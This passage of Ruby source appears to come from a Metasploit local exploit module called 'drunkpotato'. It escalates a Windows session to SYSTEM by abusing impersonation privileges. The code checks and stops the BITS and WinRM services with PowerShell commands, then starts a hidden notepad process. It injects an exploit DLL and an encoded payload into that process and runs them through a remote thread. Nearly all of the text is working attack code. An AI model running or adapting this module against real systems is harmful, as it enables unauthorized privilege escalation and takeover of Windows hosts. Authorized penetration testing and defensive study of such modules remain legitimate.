vprint_good('Target session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.')
running_services_code = check_bits_and_winrm
if running_services_code < 0
return Exploit::CheckCode::Safe
end
should_services_be_shutdown = datastore['SHUTDOWN_SERVICES']
if running_services_code > 0
if should_services_be_shutdown
shutdown_service(running_services_code)
sleep(2)
running_services_code = check_bits_and_winrm
end
if [WINRM, WINRM + BITS].include?(running_services_code)
print_bad('WinRM is running. Target is not exploitable.')
return Exploit::CheckCode::Safe
elsif running_services_code == BITS
if should_services_be_shutdown
print_warning('Failed to shutdown BITS.')
end
print_warning('BITS is running. Don\'t panic, the exploit should handle this, but you have to wait for BITS to terminate.')
end
end
if is_system?
print_bad('Session is already elevated.')
return Exploit::CheckCode::Safe
end
vprint_good('Session is not (yet) System.')
Exploit::CheckCode::Appears
end
#
# This function is dedicated in checking if bits and WinRM are running.
# It returns the running services. If both services are down, it returns 0.
# If BITS is running, it returns 1 (Because BITS class constant = 1). If
# WinRM is running, it returns 2. And if both are running, it returns
# BITS + WINRM = 3.
def check_bits_and_winrm
check_command = 'powershell.exe Get-Service -Name BITS,WinRM'
result = cmd_exec(check_command)
vprint_status('Checking if BITS and WinRM are stopped...')
if result.include?('~~')
print_bad('Failed to retrieve infos about WinRM and BITS. Access is denied.')
return -1
end
if result.include?('Stopped BITS') && result.include?('Stopped WinRM')
print_good('BITS and WinRM are stopped.')
return 0
end
if result.include?('Running BITS') && result.include?('Stopped WinRM')
print_warning('BITS is currently running. It must be down for the exploit to succeed.')
return BITS
end
if result.include?('Stopped BITS') && result.include?('Running WinRM')
print_warning('WinRM is currently running. It must be down for the exploit to succeed.')
return WINRM
end
if result.include?('Running BITS') && result.include?('Running WinRM')
print_warning('BITS and WinRM are currently running. They must be down for the exploit to succeed.')
return BITS + WINRM
end
end
#
# Attempt to shutdown services through powershell.
def shutdown_service(service_code)
stop_command_map = {
BITS => 'powershell.exe Stop-Service -Name BITS',
WINRM => 'powershell.exe Stop-Service -Name WinRM',
BITS + WINRM => 'powershell.exe Stop-Service -Name BITS,WinRM'
}
print_status('Attempting to shutdown service(s)...')
cmd_exec(stop_command_map[service_code])
end
def exploit
payload_name = datastore['PAYLOAD']
payload_arch = framework.payloads.create(payload_name).arch
winrm_port = datastore['WINRM_RPORT']
host_process_name = datastore['HOST_PROCESS']
if payload_arch.first == ARCH_X64
dll_file_name = 'drunkpotato.x64.dll'
vprint_status('Assigning payload drunkpotato.x64.dll')
elsif payload_arch.first == ARCH_X86
dll_file_name = 'drunkpotato.x86.dll'
vprint_status('Assigning payload drunkpotato.x86.dll')
else
fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign exploit code')
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'drunkpotato', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status('Launching notepad to host the exploit...')
notepad_path = get_notepad_pathname(
payload_arch.first,
client.sys.config.getenv('windir'),
client.arch
)
notepad_process = client.sys.process.execute(notepad_path, nil, { 'Hidden' => true })
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
formatted_payload = [
winrm_port.to_s,
host_process_name,
payload.encoded.length.to_s,
payload.encoded
].join("\x00")
payload_mem = inject_into_process(process, formatted_payload)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end